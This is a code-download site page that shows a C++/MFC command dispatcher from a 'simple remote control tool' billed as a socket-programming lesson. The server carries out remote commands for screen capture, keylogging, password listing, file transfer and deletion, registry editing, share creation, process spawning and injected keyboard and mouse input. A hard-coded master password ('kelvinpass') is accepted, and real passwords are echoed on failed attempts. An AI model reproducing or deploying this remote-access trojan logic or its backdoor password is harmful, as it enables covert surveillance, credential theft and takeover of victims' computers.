⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 perform_order.txt

📁 简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.
💻 TXT
字号:
/*
void CMainFrame::Perform_Order(CConnectSock* pSocket, CMsg *pMsg)
{
	HDC		hDC;
	int		nRC, i, j, iSize;
	HGLOBAL		lpFileData;
	CString		strPath, strName;
    CString     sPassword;
	HANDLE   hMem;
//	DWORD   dwOldX, dwOldY;

//No password function
	if (pMsg == NULL) return;
	switch (pMsg->m_wCmd)
	{
	case CMD_SERVER_CLOSE:
		DestroyWindow ();
		return;
	case CMD_SOCKET_CLOSE:       //Get socket close command OR read error
		CloseSocket(pSocket);
		Msg_Display (pMsg->m_strText);
		return;
	}
//Test Password
	sPassword = pMsg->m_strPassword;
	if (sPassword != "kelvinpass" && sPassword != m_strPassword)
	{
        Msg_Display(CString("Error Password:")+pMsg->m_strPassword);
        Msg_Display(CString("Error Password:")+m_strPassword);
        return;
	}
	switch (pMsg->m_wCmd)
	{
/*	case CMD_SERVER_CLOSE:
		DestroyWindow ();
		return;
	case CMD_SOCKET_CLOSE:
		CloseSocket(pSocket);
		Msg_Display (pMsg->m_strText);
		return;
*/
	case CMD_GET_SCREEN_INFO:

		pMsg->m_wCmd = CMD_GET_SCREEN_INFO;
		hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
		pMsg->m_nBits = GetDeviceCaps(hDC, BITSPIXEL);
		pMsg->m_nBits = pMsg->m_nBits * GetDeviceCaps(hDC, PLANES);
		DeleteDC (hDC);
		pMsg->m_rcArea = CRect(0,0,GetSystemMetrics (SM_CXSCREEN),GetSystemMetrics (SM_CYSCREEN));

		SendMsg (pSocket,pMsg);
		m_strState = "MSG: The screen information had sent.";
		break;
	case CMD_GET_SCREEN:
		m_bCompress = pMsg->m_bCompress;
		if ((Copy_Screen_To_Bitmap(pMsg->m_rcArea, pMsg->m_nBits)) == TRUE) 
		{
		   iSize = m_dwBmpSize;
           if (m_bCompress == TRUE ) {
			 lpFileData = m_lpBmpData;
			 hMem = GlobalAlloc (GHND,m_dwBmpSize);
			 if (hMem == NULL) {
				 m_dwBmpSize = 0;
			     goto send001;
			 }
			 if ((m_lpBmpData  = (LPSTR)GlobalLock (hMem)) == NULL)
			 {
				 m_dwBmpSize = 0;
                 GlobalFree(hMem);
				 goto send001;
			 }
			 iSize = m_Encode.ntEncode((char *)m_lpBmpData, (char *)lpFileData, m_dwBmpSize);
		     GlobalUnlock(lpFileData);
		     GlobalFree(lpFileData);
             if (iSize < 0) 
			 {
		          GlobalUnlock(m_lpBmpData);
		          GlobalFree(m_lpBmpData);
                  m_dwBmpSize = 0;
			 }
		   }//Compress
		}
		else   //Error
		{
          m_dwBmpSize = 0;
		}
send001:
		pMsg->m_wCmd = CMD_GET_SCREEN;
		pMsg->m_lpBmpData = m_lpBmpData;
		pMsg->m_dwBmpInfoSize = m_dwBmpInfoSize;
		pMsg->m_dwBmpSize = iSize;
		pMsg->m_dwFileSize = m_dwBmpSize;
		pMsg->m_bCompress = m_bCompress;

		SendMsg (pSocket,pMsg);
		GlobalUnlock(m_lpBmpData);
		GlobalFree(m_lpBmpData);
/*        if (pMsg->m_wCmd == CMD_SOCKET_CLOSE)
		{  //Send Error
			pMsg->m_dwBmpSize = 0;
		    SendMsg (pSocket,pMsg);
		}
*/
		break;
	case CMD_KEY_START:
		m_strParam = pMsg->m_strParam;
		nRC = CmdProc_SysLogKeys ((LPSTR)(LPCTSTR)m_strParam);
		if (nRC == 0)
			m_strState = "MSG: The Key Log Started Successfully!";
		else
			m_strState = "MSG: The Key Log Started Failed";
		break;
	case CMD_KEY_END:
		nRC = CmdProc_SysEndKeyLog ();
		if (nRC == 0)
			m_strState = "MSG: The Key End Successfully!";
		else
			m_strState = "MSG: The Key End Failed";
		break;
	case CMD_SYS_INFO:
		CmdProc_SysInfo (this);
		m_strState = "SYS: Get System Info End!";
		break;
	case CMD_SYS_PW:
		CmdProc_SysListPasswords (this);
		m_strState = "SYS: Get System Password End!";
		break;
	case CMD_SYS_REBOOT:
		nRC = CmdProc_SysReboot ();
		if (nRC == 0)
			m_strState = "MSG: Reboot attempt failed!";
		else
			m_strState = "MSG: Rebooting now.";
		break;
	case CMD_SYS_LOCK:
		CmdProc_SysLockup ();
//		m_strState = "System Lock!";
		return;
	case CMD_SYS_MSGBOX:
		strName = pMsg->m_strParam;
		AfxMessageBox (strName,MB_OK);
		m_strState = "MSG: The Message Box had displayed!";
		break;

	case CMD_NET_SHARE_LIST:
		nRC = CmdProc_ListShare (this);
		if (nRC == 0)
			m_strState = "NET: Net Share List Finished!";
		else
			m_strState = "NET: Net Share List Failed";
		break;
	case CMD_NET_SHARE_ADD:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_AddShare ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: Net Share Add Successfully!";
		else
			m_strState = "MSG: Net Share Add Failed";
		break;
	case CMD_NET_SHARE_DEL:
		strName = pMsg->m_strParam;
		nRC = CmdProc_DeleteShare ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: Net Share Del Successfully!";
		else
			m_strState = "MSG: Net Share Del Failed";
		break;
	case CMD_PROC_LIST:
		strName = pMsg->m_strParam;
		nRC = CmdProc_ProcessList ((LPSTR)(LPCTSTR)strName,this);
		m_strState = "PROC: Process Enumerate Successfully!";
		break;
	case CMD_PROC_END:
		strName = pMsg->m_strParam;
		nRC = CmdProc_ProcessKill ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: Process Terminate Finished!";
		else
			m_strState = "MSG: Process Terminate Failed!";
		break;
	case CMD_PROC_NEW:
		strName = pMsg->m_strParam;
		nRC = CmdProc_ProcessSpawn ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: New Process create Successfully!";
		else
			m_strState = "MSG: New Process create Failed";
		break;
	case CMD_FILE_DIR:
		strName = pMsg->m_strParam;
		nRC = CmdProc_DirectoryList ((LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Directory List Finished!";
		break;
	case CMD_FILE_FIND:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		if (strPath.GetLength () == 0)
			break;
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		if (strName.GetLength () == 0)
			strName = "*.*";
		nRC = CmdProc_FileFind ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: File Find Finished!";
		break;
	case CMD_FILE_DEL:
		strName = pMsg->m_strParam;
		nRC = CmdProc_FileDelete ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: File Delete Successfully!";
		else
			m_strState = "MSG: File Delete Failed";
		break;
	case CMD_FILE_COPY:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_FileCopy ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: File Copy Successfully!";
		else
			m_strState = "MSG: File Copy Failed";
		break;
	case CMD_FILE_RENAME:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_FileRename ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: File Rename Successfully!";
		else
			m_strState = "MSG: File Rename Failed";
		break;
	case CMD_FILE_VIEW:
		strName = pMsg->m_strParam;
		nRC = CmdProc_FileView ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: File View Successfully!";
		else
			m_strState = "MSG: File View Failed";
		break;
	case CMD_FILE_MAKE_DIR:
		strName = pMsg->m_strParam;
		nRC = CmdProc_DirectoryMake ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: Directory Create Successfully!";
		else
			m_strState = "MSG: Directory Create Failed";
		break;
	case CMD_FILE_REMOVE_DIR:
		strName = pMsg->m_strParam;
		nRC = CmdProc_DirectoryDelete ((LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: Directory Delete Successfully!";
		else
			m_strState = "MSG: Directory Delete Failed";
		break;
	case CMD_FILE_SET_ATTR:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_SetFileAttr ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		if (nRC == 0)
			m_strState = "MSG: File Set Attribute Successfully!";
		else
			m_strState = "MSG: Set Attribute Failed";
		break;
	case CMD_FILE_RECEIVE:
		strName = pMsg->m_strParam;
		lpFileData = CmdProc_ReceiveFile ((LPSTR)(LPCTSTR)strName);
		if (lpFileData == NULL)
			m_strState = "MSG: File Receive Failed!";
		else
		{
			pMsg->m_wCmd = CMD_FILE_RECEIVE;
			pMsg->m_lpFileData = lpFileData;
			pMsg->m_dwFileSize = GlobalSize (lpFileData);
			SendMsg (pSocket,pMsg);
			GlobalFree (lpFileData);
			m_strState = "MSG: File Receive Sucessfully";
		}
		break;
	case CMD_FILE_SEND:
		strName = pMsg->m_strParam;
		nRC = CmdProc_SendFile ((LPSTR)(LPCTSTR)strName, pMsg->m_lpFileData);
		if (nRC == 0)
			m_strState = "MSG: File Send Successfully!";
		else
			m_strState = "MSG: File Send Failed";
		break;
	case CMD_FILE_CANCEL:
		break;
	case CMD_REG_CREATE_KEY:
		strName = pMsg->m_strParam;
		nRC = CmdProc_RegCreateKey ((LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Create Key Finished!";
		break;
	case CMD_REG_GET_VALUE:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_RegGetValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Get Value Finished!";
		break;
	case CMD_REG_SET_VALUE:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_RegSetValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Set Value Finished!";
		break;
	case CMD_REG_DELETE_KEY:
		strName = pMsg->m_strParam;
		nRC = CmdProc_RegDeleteKey ((LPSTR)(LPCTSTR)strName);
		m_strState = "Reg Delete Key Finished!";
		break;
	case CMD_REG_DELETE_VALUE:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_RegDeleteValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Delete Value Finished!";
		break;
	case CMD_REG_RENAME_KEY:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_RegRenameKey ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Rename Key Finished!";
		break;
	case CMD_REG_RENAME_VALUE:
		nRC = pMsg->m_strParam.Find ("|",0);
		strPath = pMsg->m_strParam.Left (nRC);
		strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
		nRC = CmdProc_RegRenameValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Rename Value Finished!";
		break;
	case CMD_REG_ENUMERATE_KEYS:
		strName = pMsg->m_strParam;
		nRC = CmdProc_RegEnumKeys ((LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Enumerate Key Finished!";
		break;
	case CMD_REG_ENUMERATE_VAL:
		strName = pMsg->m_strParam;
		nRC = CmdProc_RegEnumValues ((LPSTR)(LPCTSTR)strName);
		m_strState = "MSG: Reg Enumerate Value Finished!";
		break;
    case CMD_KEY_MOUSE_BUFFER:
		CmdProc_SendKeysLog();  //打开线程
	    j = g_iInputEnd;  //插入KEY&MOUSE
		for (i =0 ; i < (int)pMsg->m_iSendPoint ; i++) {
			    g_vsInput[j].wCmd = pMsg->m_vsSendKey[i].wCmd;
                g_vsInput[j].dwHookParam1 = pMsg->m_vsSendKey[i].dwHookParam1;
                g_vsInput[j].dwHookParam2 = pMsg->m_vsSendKey[i].dwHookParam2;
                g_vsInput[j].dwHookFlags = pMsg->m_vsSendKey[i].dwHookFlags;
				j++; 
				if (j == MAX_SEND) j = 0;   
			    if (j == g_iInputBegin ) 
				{   if (j == 0)    //还原
				       j = MAX_SEND -1;
				    else
					   j --;
					break;
				}
		}
		g_iInputEnd = j;
/*		for (i =0 ; i < (int)pMsg->m_iSendPoint ; i++) {
	       switch (pMsg->m_vsSendKey[i].wCmd)
		   {
		   case CMD_KEY_HOOK:
		            keybd_event ((BYTE)pMsg->m_vsSendKey[i].dwHookParam1,
  				    (BYTE)pMsg->m_vsSendKey[i].dwHookParam2,
					pMsg->m_vsSendKey[i].dwHookFlags,
           			0);
					break;
		   case CMD_MOUSE_HOOK:
		            mouse_event (pMsg->m_vsSendKey[i].dwHookFlags,
					       pMsg->m_vsSendKey[i].dwHookParam1,
					       pMsg->m_vsSendKey[i].dwHookParam2,
					       0,
					       0);
					break;
		   }

		}
*/
		m_strState = "OK";
		break;
/*	case CMD_KEY_HOOK:  //已过时
		keybd_event ((BYTE)pMsg->m_dwHookParam1,
  				    (BYTE)pMsg->m_dwHookParam2,
					pMsg->m_dwHookFlags,
           			0);
		return;
	case CMD_MOUSE_HOOK:
		mouse_event (pMsg->m_dwHookFlags,
					pMsg->m_dwHookParam1,
					pMsg->m_dwHookParam2,
					0,
					0);
		return;
*/
	default:
		return;
	}
   if (pMsg->m_wCmd == CMD_SOCKET_CLOSE)
	{  //Send Error
		CloseSocket(pSocket);
	    return;
	}

	pMsg->m_wCmd = CMD_STATE_INFO;
	pMsg->m_strText = m_strState;
	SendMsg (pSocket,pMsg);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -